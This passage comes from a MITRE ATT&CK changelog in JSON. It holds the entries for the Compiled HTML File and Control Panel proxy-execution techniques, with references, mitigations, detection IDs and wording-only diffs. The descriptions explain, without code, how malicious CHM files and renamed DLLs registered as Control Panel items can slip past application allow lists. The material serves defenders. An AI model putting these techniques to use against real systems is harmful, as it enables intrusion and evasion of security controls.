                    "description": "Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such as VBA, JScript, Java, and ActiveX.(Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser(Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe).(Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe.(Citation: MsitPros CHM Aug 2017)(Citation: Microsoft CVE-2017-8625 Aug 2017)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1218/001",
                            "external_id": "T1218.001"
                        },
                        {
                            "source_name": "Microsoft CVE-2017-8625 Aug 2017",
                            "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.",
                            "url": "https://web.archive.org/web/20250419140549/https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2017-8625"
                        },
                        {
                            "source_name": "Microsoft HTML Help May 2018",
                            "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.",
                            "url": "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk"
                        },
                        {
                            "source_name": "Microsoft HTML Help Executable Program",
                            "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.",
                            "url": "https://msdn.microsoft.com/windows/desktop/ms524405"
                        },
                        {
                            "source_name": "Microsoft HTML Help ActiveX",
                            "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.",
                            "url": "https://msdn.microsoft.com/windows/desktop/ms644670"
                        },
                        {
                            "source_name": "MsitPros CHM Aug 2017",
                            "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.",
                            "url": "https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "3.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:40:34.061000+00:00\", \"old_value\": \"2026-05-12 15:12:00.706000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such as VBA, JScript, Java, and ActiveX.(Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser(Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe).(Citation: Microsoft HTML Help Executable Program)\\n\\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe.(Citation: MsitPros CHM Aug 2017)(Citation: Microsoft CVE-2017-8625 Aug 2017)\", \"old_value\": \"Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\\n\\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\\n+Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such as VBA, JScript, Java, and ActiveX.(Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser(Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe).(Citation: Microsoft HTML Help Executable Program)\\n \\n-A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)\\n+A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe.(Citation: MsitPros CHM Aug 2017)(Citation: Microsoft CVE-2017-8625 Aug 2017)\"}}}",
                    "previous_version": "3.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to108__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to108__0\"><a href=\"#difflib_chg_to108__top\">t</a></td><td class=\"diff_header\" id=\"from108_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;Compiled&nbsp;HTML&nbsp;files&nbsp;(.chm)&nbsp;to&nbsp;conceal&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to108__top\">t</a></td><td class=\"diff_header\" id=\"to108_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;Compiled&nbsp;HTML&nbsp;files&nbsp;(.chm)&nbsp;to&nbsp;conceal&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">malicious&nbsp;code.&nbsp;CHM&nbsp;files&nbsp;are&nbsp;commonly&nbsp;distributed&nbsp;as&nbsp;part&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">malicious&nbsp;code.&nbsp;CHM&nbsp;files&nbsp;are&nbsp;commonly&nbsp;distributed&nbsp;as&nbsp;part&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">f&nbsp;the&nbsp;Microsoft&nbsp;HTML&nbsp;Help&nbsp;system.&nbsp;CHM&nbsp;files&nbsp;are&nbsp;compressed&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">f&nbsp;the&nbsp;Microsoft&nbsp;HTML&nbsp;Help&nbsp;system.&nbsp;CHM&nbsp;files&nbsp;are&nbsp;compressed&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ompilations&nbsp;of&nbsp;various&nbsp;content&nbsp;such&nbsp;as&nbsp;HTML&nbsp;documents,&nbsp;image</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ompilations&nbsp;of&nbsp;various&nbsp;content&nbsp;such&nbsp;as&nbsp;HTML&nbsp;documents,&nbsp;image</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s,&nbsp;and&nbsp;scripting/web&nbsp;related&nbsp;programming&nbsp;languages&nbsp;such&nbsp;VBA,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s,&nbsp;and&nbsp;scripting/web&nbsp;related&nbsp;programming&nbsp;languages&nbsp;such<span class=\"diff_add\">&nbsp;as</span>&nbsp;V</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;JScript,&nbsp;Java,&nbsp;and&nbsp;ActiveX.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;HTML&nbsp;Help&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">BA,&nbsp;JScript,&nbsp;Java,&nbsp;and&nbsp;ActiveX.(Citation:&nbsp;Microsoft&nbsp;HTML&nbsp;Hel</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">May&nbsp;2018)&nbsp;CHM&nbsp;content&nbsp;is&nbsp;displayed&nbsp;using&nbsp;underlying&nbsp;componen</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">p&nbsp;May&nbsp;2018)&nbsp;CHM&nbsp;content&nbsp;is&nbsp;displayed&nbsp;using&nbsp;underlying&nbsp;compon</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ts&nbsp;of&nbsp;the&nbsp;Internet&nbsp;Explorer&nbsp;browser<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;HTM</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ents&nbsp;of&nbsp;the&nbsp;Internet&nbsp;Explorer&nbsp;browser(Citation:&nbsp;Microsoft&nbsp;HT</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">L&nbsp;Help&nbsp;ActiveX)&nbsp;loaded&nbsp;by&nbsp;the&nbsp;HTML&nbsp;Help&nbsp;executable&nbsp;program&nbsp;(</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ML&nbsp;Help&nbsp;ActiveX)&nbsp;loaded&nbsp;by&nbsp;the&nbsp;HTML&nbsp;Help&nbsp;executable&nbsp;program&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hh.exe).<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;HTML&nbsp;Help&nbsp;Executable&nbsp;Program)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(hh.exe).(Citation:&nbsp;Microsoft&nbsp;HTML&nbsp;Help&nbsp;Executable&nbsp;Program)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;A&nbsp;custom&nbsp;CHM&nbsp;file&nbsp;containing&nbsp;embedded&nbsp;payloads&nbsp;could&nbsp;be&nbsp;del</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;A&nbsp;custom&nbsp;CHM&nbsp;file&nbsp;containing&nbsp;embedded&nbsp;payloads&nbsp;could&nbsp;be&nbsp;del</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ivered&nbsp;to&nbsp;a&nbsp;victim&nbsp;then&nbsp;triggered&nbsp;by&nbsp;[User&nbsp;Execution](https:</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ivered&nbsp;to&nbsp;a&nbsp;victim&nbsp;then&nbsp;triggered&nbsp;by&nbsp;[User&nbsp;Execution](https:</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">//attack.mitre.org/techniques/T1204).&nbsp;CHM&nbsp;execution&nbsp;may&nbsp;also</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">//attack.mitre.org/techniques/T1204).&nbsp;CHM&nbsp;execution&nbsp;may&nbsp;also</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;bypass&nbsp;application&nbsp;<span class=\"diff_chg\">application&nbsp;control&nbsp;on&nbsp;older</span>&nbsp;and/or&nbsp;unpa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;bypass&nbsp;application&nbsp;<span class=\"diff_chg\">control&nbsp;on&nbsp;older</span>&nbsp;and/or&nbsp;unpatched&nbsp;system</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tched&nbsp;systems&nbsp;that&nbsp;do&nbsp;not&nbsp;account&nbsp;for&nbsp;execution&nbsp;of&nbsp;binaries&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;that&nbsp;do&nbsp;not&nbsp;account&nbsp;for&nbsp;execution&nbsp;of&nbsp;binaries&nbsp;through&nbsp;hh.e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">through&nbsp;hh.exe.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;MsitPros&nbsp;CHM&nbsp;Aug&nbsp;2017)<span class=\"diff_sub\">&nbsp;</span>(Citation:</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xe.(Citation:&nbsp;MsitPros&nbsp;CHM&nbsp;Aug&nbsp;2017)(Citation:&nbsp;Microsoft&nbsp;CVE</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Microsoft&nbsp;CVE-2017-8625&nbsp;Aug&nbsp;2017)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">-2017-8625&nbsp;Aug&nbsp;2017)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1021: Restrict Web-Based Content",
                            "M1038: Execution Prevention"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0342: Detection of Suspicious Compiled HTML File Execution via hh.exe"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-23 19:59:52.630000+00:00",
                    "modified": "2026-11-04 00:41:19.487000+00:00",
                    "name": "Control Panel",
                    "description": "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files; the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls</code>. Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed. CPL files not exporting <code>CPlApplet</code> are not directly executable.(Citation: ESET InvisiMole June 2020)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1218/002",
                            "external_id": "T1218.002"
                        },
                        {
                            "source_name": "TrendMicro CPL Malware Dec 2013",
                            "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.",
                            "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/"
                        },
                        {
                            "source_name": "Palo Alto Reaver Nov 2017",
                            "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                            "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
                        },
                        {
                            "source_name": "ESET InvisiMole June 2020",
                            "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
                            "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
                        },
                        {
                            "source_name": "Microsoft Implementing CPL",
                            "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.",
                            "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"
                        },
                        {
                            "source_name": "TrendMicro CPL Malware Jan 2014",
                            "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.",
                            "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "ESET"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "3.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:41:19.487000+00:00\", \"old_value\": \"2026-05-12 15:12:00.632000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\\n\\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files; the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\\n\\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\\n\\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Control Panel\\\\Cpls</code>. Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed. CPL files not exporting <code>CPlApplet</code> are not directly executable.(Citation: ESET InvisiMole June 2020)\", \"old_value\": \"Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\\n\\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\\n\\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\\n\\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Control Panel\\\\Cpls</code>. Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed. CPL files not exporting <code>CPlApplet</code> are not directly executable.(Citation: ESET InvisiMole June 2020)\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\\n \\n-Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\\n+Control Panel items are registered executable (.exe) or Control Panel (.cpl) files; the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\\n \\n Malicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\\n \"}}}",
                    "previous_version": "3.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to141__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to141__0\"><a href=\"#difflib_chg_to141__top\">t</a></td><td class=\"diff_header\" id=\"from141_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;control.exe&nbsp;to&nbsp;proxy&nbsp;execution&nbsp;of&nbsp;mali</td><td class=\"diff_next\"><a href=\"#difflib_chg_to141__top\">t</a></td><td class=\"diff_header\" id=\"to141_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;control.exe&nbsp;to&nbsp;proxy&nbsp;execution&nbsp;of&nbsp;mali</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cious&nbsp;payloads.&nbsp;The&nbsp;Windows&nbsp;Control&nbsp;Panel&nbsp;process&nbsp;binary&nbsp;(co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cious&nbsp;payloads.&nbsp;The&nbsp;Windows&nbsp;Control&nbsp;Panel&nbsp;process&nbsp;binary&nbsp;(co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ntrol.exe)&nbsp;handles&nbsp;execution&nbsp;of&nbsp;Control&nbsp;Panel&nbsp;items,&nbsp;which&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ntrol.exe)&nbsp;handles&nbsp;execution&nbsp;of&nbsp;Control&nbsp;Panel&nbsp;items,&nbsp;which&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;utilities&nbsp;that&nbsp;allow&nbsp;users&nbsp;to&nbsp;view&nbsp;and&nbsp;adjust&nbsp;computer&nbsp;se</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;utilities&nbsp;that&nbsp;allow&nbsp;users&nbsp;to&nbsp;view&nbsp;and&nbsp;adjust&nbsp;computer&nbsp;se</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttings.&nbsp;&nbsp;Control&nbsp;Panel&nbsp;items&nbsp;are&nbsp;registered&nbsp;executable&nbsp;(.exe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttings.&nbsp;&nbsp;Control&nbsp;Panel&nbsp;items&nbsp;are&nbsp;registered&nbsp;executable&nbsp;(.exe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;or&nbsp;Control&nbsp;Panel&nbsp;(.cpl)&nbsp;files<span class=\"diff_chg\">,&nbsp;the&nbsp;latter&nbsp;are&nbsp;actually&nbsp;ren</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;or&nbsp;Control&nbsp;Panel&nbsp;(.cpl)&nbsp;files<span class=\"diff_chg\">;&nbsp;the&nbsp;latter&nbsp;are&nbsp;actually&nbsp;ren</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">amed</span>&nbsp;dynamic-link&nbsp;library&nbsp;(.dll)&nbsp;files&nbsp;that&nbsp;export&nbsp;a&nbsp;&lt;code&gt;C</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">amed</span>&nbsp;dynamic-link&nbsp;library&nbsp;(.dll)&nbsp;files&nbsp;that&nbsp;export&nbsp;a&nbsp;&lt;code&gt;C</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">PlApplet&lt;/code&gt;&nbsp;function.(Citation:&nbsp;Microsoft&nbsp;Implementing&nbsp;C</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">PlApplet&lt;/code&gt;&nbsp;function.(Citation:&nbsp;Microsoft&nbsp;Implementing&nbsp;C</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">PL)(Citation:&nbsp;TrendMicro&nbsp;CPL&nbsp;Malware&nbsp;Jan&nbsp;2014)&nbsp;For&nbsp;ease&nbsp;of&nbsp;u</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 